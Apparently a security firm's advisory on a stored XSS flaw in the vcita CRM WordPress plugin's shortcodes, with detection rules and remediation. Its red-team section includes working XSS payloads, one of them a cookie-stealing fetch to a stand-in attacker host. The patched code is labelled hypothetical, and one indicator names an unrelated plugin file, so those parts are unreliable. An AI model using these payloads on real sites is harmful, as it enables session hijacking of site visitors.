CVE-2024-13702

Executive Summary

CVE-2024-13702 is a Stored Cross-Site Scripting (XSS) vulnerability in the CRM and Lead Management by vcita WordPress plugin, affecting all versions up to and including 2.7.4. The flaw resides in the vCitaMeetingScheduler and vCitaSchedulingCalendar shortcodes, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits a page containing the malicious shortcode. This can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and is not an NPM, PyPI, Go, or Ruby package. No supply chain compromise has been identified; the risk is limited to sites running the vulnerable plugin version.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts makes this a significant risk for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in WordPress shortcodes. The plugin registers two shortcodes: vCitaMeetingScheduler and vCitaSchedulingCalendar. These shortcodes accept user-defined attributes (e.g., title, class, style) that are rendered directly into the HTML output without proper sanitization or escaping.

Root Cause: The plugin uses add_shortcode() and outputs attribute values using echo $atts['attribute'] or similar, without applying esc_attr() or wp_kses() filters. This allows an attacker to inject JavaScript payloads via attributes like onmouseover or src with javascript: URIs.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. They insert a shortcode like: [vCitaMeetingScheduler title="<script>alert('XSS')</script>"]
3. The plugin renders the shortcode, outputting the unsanitized title attribute.
4. When any user (including admins) visits the page, the script executes in their browser.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack surface is limited to authenticated users with publishing capabilities, but the impact can affect all site visitors.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.7.4):

// In vcita-meeting-scheduler.php
function vcita_meeting_scheduler_shortcode($atts) {
    $atts = shortcode_atts(array('title' => 'Schedule Meeting'), $atts);
    return '<div class="vcita-meeting" title="' . $atts['title'] . '">...</div>';
}

The $atts['title'] is directly concatenated into the HTML without escaping.

Patched Code (hypothetical):

function vcita_meeting_scheduler_shortcode($atts) {
    $atts = shortcode_atts(array('title' => 'Schedule Meeting'), $atts);
    $safe_title = esc_attr($atts['title']);
    return '<div class="vcita-meeting" title="' . $safe_title . '">...</div>';
}

The patched version uses esc_attr() to escape the attribute value, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with vcita plugin <= 2.7.4
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [vCitaMeetingScheduler title="<img src=x onerror=alert('XSS')>"]
   

4. Publish or save the post.
5. Any user visiting the post will see an alert box.

Advanced Payload:

[vCitaMeetingScheduler title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team

Detection:

• Monitor for posts containing shortcodes with suspicious attributes (e.g., <script>, onerror, onmouseover).
• Use WAF rules to block shortcode attributes containing HTML/JavaScript.

Hunting:

• Query the WordPress database for posts containing [vCitaMeetingScheduler or [vCitaSchedulingCalendar with non-standard attributes.
• Check for recent posts by contributor-level users that include these shortcodes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/contact-form-7/includes/js/scripts.js (if modified)
• Database: Posts containing [vCitaMeetingScheduler or [vCitaSchedulingCalendar with HTML/JavaScript in attributes.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Logs: WordPress audit logs showing shortcode usage by contributor-level users.

Detection Engineering

YARA Rule

rule Detect_vcita_XSS_Shortcode {
    meta:
        description = "Detects malicious shortcode attributes in vcita plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13702"
    strings:
        $shortcode1 = "[vCitaMeetingScheduler"
        $shortcode2 = "[vCitaSchedulingCalendar"
        $xss_payload = /<[^>]*script[^>]*>|<[^>]*on\w+\s*=[^>]*>/
    condition:
        ($shortcode1 or $shortcode2) and $xss_payload
}

Sigma Rule

title: WordPress vcita Plugin Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious shortcode attributes from vcita plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '[vCitaMeetingScheduler'
            - '[vCitaSchedulingCalendar'
        post_content|re: '<[^>]*script[^>]*>|<[^>]*on\w+\s*=[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of shortcodes with safe attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13702 WordPress vcita Stored XSS"; flow:to_server,established; content:"[vCitaMeetingScheduler"; nocase; pcre:"/<[^>]*script[^>]*>|<[^>]*on\w+\s*=[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor-level access to trusted users only.
3. Use a Web Application Firewall (WAF) to block shortcode attributes containing HTML/JavaScript.

Long-term Fix:

• The vendor must release a patched version that properly escapes shortcode attributes using esc_attr() or wp_kses().
• Apply the patch as soon as it becomes available.

Workaround:

• Add a custom filter to sanitize shortcode output:

add_filter('the_content', function($content) {
    $content = preg_replace('/\[vCitaMeetingScheduler[^\]]*\]/', '', $content);
    $content = preg_replace('/\[vCitaSchedulingCalendar[^\]]*\]/', '', $content);
    return $content;
});

Valters IT
Securing Digital Frontiers